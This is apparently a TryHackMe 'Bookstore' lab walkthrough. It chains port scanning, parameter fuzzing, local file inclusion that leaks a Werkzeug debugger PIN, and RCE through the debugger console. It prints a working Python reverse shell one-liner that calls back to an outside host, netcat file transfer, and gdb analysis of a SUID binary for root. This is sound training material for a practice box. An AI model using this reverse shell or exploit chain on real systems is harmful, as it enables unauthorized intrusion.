This is the medium box on TryHackMe website. It requires the some simple knowledge about reverse engineering. Lets start
For beginning I put the ip in /etc/hosts for convinient

10.10.125.102 bookstore.thm

Enumeration

Port Scanning

Let’s start with some port scanning with nmap

nmap -v -p- bookstore.thm
...
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp

So we see there are 3 services is running here. Let’s scan the name of these services

nmpa -A -p 80,5000 bookstore.thm
...
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-robots.txt: 1 disallowed entry 
|_/api </p> 
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: Home
...

So we can see there is 2 webservers is running here. Let’s start with port 80.

Port 80

At a first glance, we can see this is a website for books. It has 3 main page:

  • index.html: landing page
  • login.html: login page
  • books.html: a page for display 4 books at a time

I also directory brute force to see is there any hidden directory

gobuster dir -u http://bookstore.thm -w /usr/share/wordlists/dirb/common.txt -t 20
...
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/assets               (Status: 301) [Size: 315] [--> http://bookstore.thm/assets/]
/favicon.ico          (Status: 200) [Size: 15406]                                 
/images               (Status: 301) [Size: 315] [--> http://bookstore.thm/images/]
/index.html           (Status: 200) [Size: 6452]                                  
/javascript           (Status: 301) [Size: 319] [--> http://bookstore.thm/javascript/]
/server-status        (Status: 403) [Size: 278]     

We found some more directories but mostly for storing resources for the website. Let go through later.

index.html

This is landing page for the webpage, most of its link does’t work. For enumeration, I also look at the page source and it scripts but there is nothing much there. Most of its functions is use for animation on the page. So time for we move on.

login.html

This is the login page but the login function is not working, it just a mock page cause it only make a GET request to itselft and do nothing there. When i look at the page source, I found this line

<script src="more_css/js/main.js"></script>
<!--Still Working on this page will add the backend support soon, also the debugger pin is inside sid's bash history file -->

So our thought is correct, the login isn’t working. But it provide us information about some debugger on the page and it’s pin in in .bash_history file. Its scripts don’t give us anything usefull. So time to move on

books.html

It looks like this page display 4 books at a times. When look at the source code I found 2 interesting things
First things an encoded string
alt text
It decoded it with Base 32 then with Hex and we got this youtube link
alt text
And when you click it, congratulations for being rick roll :(.
The second one I found is in the file api.js. We found another hind (the real one)

renderUsers();
//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.

It tell us that there is some vulnerable parameter for the older API system. And I think our time to move on.

Port 5000

alt text
This must be the API server the hint talking to. Let start with some directory bruteforce

gobuster dir -u http://bookstore.thm:5000 -w /usr/share/wordlists/dirb/common.txt -t 20
...
/api                  (Status: 200) [Size: 825]
/console              (Status: 200) [Size: 1985]
/robots.txt           (Status: 200) [Size: 45]  

We found 3 interesting directories here. Let go one by one

/api

We can see a nice api document here
alt text
Notice this is the v2, the hint said the previous version. So I think we should you v1 here. This api has the path is /api/v1/resources/books with 4 paramter here. We can try to look for another param here. I will use wfuzz with this wordlists

wfuzz --hc 404 -u http://bookstore.thm:5000/api/v1/resources/books?FUZZ=a.txt -w /usr/share/wordlists/seclist/api_object.txt 


We can see there is a new paramteer xxxx that return us the status 500. Let’s check it out: alt text
So there must be a param allow us to read file. Let’s read the file .bash_history from the hints before.

cd /home/sid whoami export WERKZEUG_DEBUG_PIN=xxx-xxx-xxx echo $WERKZEUG_DEBUG_PIN python3 /home/sid/api.py ls exit 

Now we got the debbuger pin. So I get the path /console must be the debbuger web UI.

/console

Using the pin we successfully login to the console
alt text

Exploit

RCE

Notice the console using python, so we can try a python reverse shell here. I try with this code

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

After that you will the revese shell back to your host on port 7777

root@kali:~# nc -vnlp 7777
listening on [any] 7777 ...
connect to [10.17.7.60] from (UNKNOWN) [10.10.116.55] 55648
sid@bookstore:~$ cat user.txt
cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
sid@bookstore:~$ 

To root

You can see there is a SUID file name try-harder in our home folder. It’s a binary file so I download it to my local machine. I want to keep this shell so I use netcat for transfering file

# reciever 
nc -vlp 1234 > try-harder
# sender
nc -w 3 [destination] 1234 < try-harder

Then we need to do some reverse engineering on this file. I will use gdb for this one

(gdb) disas main
Dump of assembler code for function main:
   0x00005555554007aa <+0>:     push   %rbp
   0x00005555554007ab <+1>:     mov    %rsp,%rbp
   0x00005555554007ae <+4>:     sub    $0x20,%rsp
   0x00005555554007b2 <+8>:     mov    %fs:0x28,%rax
   0x00005555554007bb <+17>:    mov    %rax,-0x8(%rbp)
   0x00005555554007bf <+21>:    xor    %eax,%eax
   0x00005555554007c1 <+23>:    mov    $0x0,%edi
   0x00005555554007c6 <+28>:    call   0x555555400680 <setuid@plt>
   0x00005555554007cb <+33>:    movl   $0x5db3,-0x10(%rbp)
   0x00005555554007d2 <+40>:    lea    0xfb(%rip),%rdi        # 0x5555554008d4
   0x00005555554007d9 <+47>:    call   0x555555400640 <puts@plt>
   0x00005555554007de <+52>:    lea    -0x14(%rbp),%rax
   0x00005555554007e2 <+56>:    mov    %rax,%rsi
   0x00005555554007e5 <+59>:    lea    0x102(%rip),%rdi        # 0x5555554008ee
   0x00005555554007ec <+66>:    mov    $0x0,%eax
   0x00005555554007f1 <+71>:    call   0x555555400670 <__isoc99_scanf@plt>
   0x00005555554007f6 <+76>:    mov    -0x14(%rbp),%eax
   0x00005555554007f9 <+79>:    xor    $0x1116,%eax
   0x00005555554007fe <+84>:    mov    %eax,-0xc(%rbp)
   0x0000555555400801 <+87>:    mov    -0x10(%rbp),%eax
=> 0x0000555555400804 <+90>:    xor    %eax,-0xc(%rbp)
   0x0000555555400807 <+93>:    cmpl   $0x5dcd21f4,-0xc(%rbp)
   0x000055555540080e <+100>:   jne    0x555555400823 <main+121>
   0x0000555555400810 <+102>:   lea    0xda(%rip),%rdi        # 0x5555554008f1
   0x0000555555400817 <+109>:   mov    $0x0,%eax
   0x000055555540081c <+114>:   call   0x555555400660 <system@plt>
   0x0000555555400821 <+119>:   jmp    0x55555540082f <main+133>
   0x0000555555400823 <+121>:   lea    0xd4(%rip),%rdi        # 0x5555554008fe
   0x000055555540082a <+128>:   call   0x555555400640 <puts@plt>
   0x000055555540082f <+133>:   nop
   0x0000555555400830 <+134>:   mov    -0x8(%rbp),%rax
   0x0000555555400834 <+138>:   xor    %fs:0x28,%rax
   0x000055555540083d <+147>:   je     0x555555400844 <main+154>
   0x000055555540083f <+149>:   call   0x555555400650 <__stack_chk_fail@plt>
   0x0000555555400844 <+154>:   leave  
   0x0000555555400845 <+155>:   ret    
End of assembler dump.

After disamble we get these assembly code. For easy, I write some equivalent C code here:

#include <stdio.h>

int main()
{
    int num;
    puts("What's The Magic Number?!");
    
    scanf("%d", &num);
    
    num = num ^ a ^ b;
    if (num == key) {
        ... do somthing here
    } else {
        puts("Incorrect Try Harder");
        return 0;
    }
}

It’s could be not 100% same as real code, but it show the main flow of the code. There are 3 number we don’t know here, this is a, b, key. But we can focus on this block of code to find out:

   0x00005555554007f1 <+71>:    call   0x555555400670 <__isoc99_scanf@plt>
   0x00005555554007f6 <+76>:    mov    -0x14(%rbp),%eax
   0x00005555554007f9 <+79>:    xor    $0x1116,%eax
   0x00005555554007fe <+84>:    mov    %eax,-0xc(%rbp)
   0x0000555555400801 <+87>:    mov    -0x10(%rbp),%eax
=> 0x0000555555400804 <+90>:    xor    %eax,-0xc(%rbp)
   0x0000555555400807 <+93>:    cmpl   $0x5dcd21f4,-0xc(%rbp)
   0x000055555540080e <+100>:   jne    0x555555400823

We can see here, the code execute a shared libray call scanf which we execute to read our input and our input will be store in register eax (it is convention in assembly). Then we our register is xor with 0x1116

   0x00005555554007f9 <+79>:    xor    $0x1116,%eax

So we found the first number a. Move on with this

   0x00005555554007fe <+84>:    mov    %eax,-0xc(%rbp)
   0x0000555555400801 <+87>:    mov    -0x10(%rbp),%eax
=> 0x0000555555400804 <+90>:    xor    %eax,-0xc(%rbp)

We can see it move to the value after xor to -0xc(%rbp) (left to right) and then we override eax with value inside -0x10(%rbp) and then xor with value before. So our next number b is the value of -0x10(%rbp). But how to find it? -0x10(%rbp) mean 0x10 byte before the address of register rbp. So we need add a break at the xor line to find out the value inside -0x10(%rbp)

(gdb) break *main+90
Breakpoint 1 at 0x555555400804
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/learning/practice/tryhackme/book_store/try 
What's The Magic Number?!
2000
Breakpoint 4, 0x0000555555400804 in main ()

Now we have stop at the xor line. Let’s find out the address of address of register rbp

(gdb) x/a $rbp
0x7fffffffe450: 0x555555400850 <__libc_csu_init>   

So we know rbp is at the address 0x7fffffffe450 but we want -0x10(%rbp). So the address we want to see is 0x7fffffffe450 - 0x10 = 0x7fffffffe440 (you can coverse to decimal then substract too). Let’s see value at 0x7fffffffe440

(gdb) x/x 0x7FFFFFFFE440                                                                        
0x7fffffffe440: 0x000016c600005db3

So our b value is 00005db3 *(we take only 2 bytes cause integer valu accounts of 2 bytes). Now we have the last line

   0x0000555555400807 <+93>:    cmpl   $0x5dcd21f4,-0xc(%rbp)
   0x000055555540080e <+100>:   jne    0x555555400823

After xor then it compare with 0x5dcd21f4 so this our key parameter. So now we got enough 3 number. To calculate the input to statisfied the if condition, we need to calculate input = key ^ b ^ a which is input = 0x5dcd21f4 ^ 00005db3 ^ 0x1116 = 0xXXXXXXXX. You can then converse it to decimal and input it.

sid@bookstore:~$ ./tr
./try-harder 
What's The Magic Number?!
aaaaaaaaaa
aaaaaaaaaa
root@bookstore:~# cat /root/root.txt
cat /root/root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

This is the end.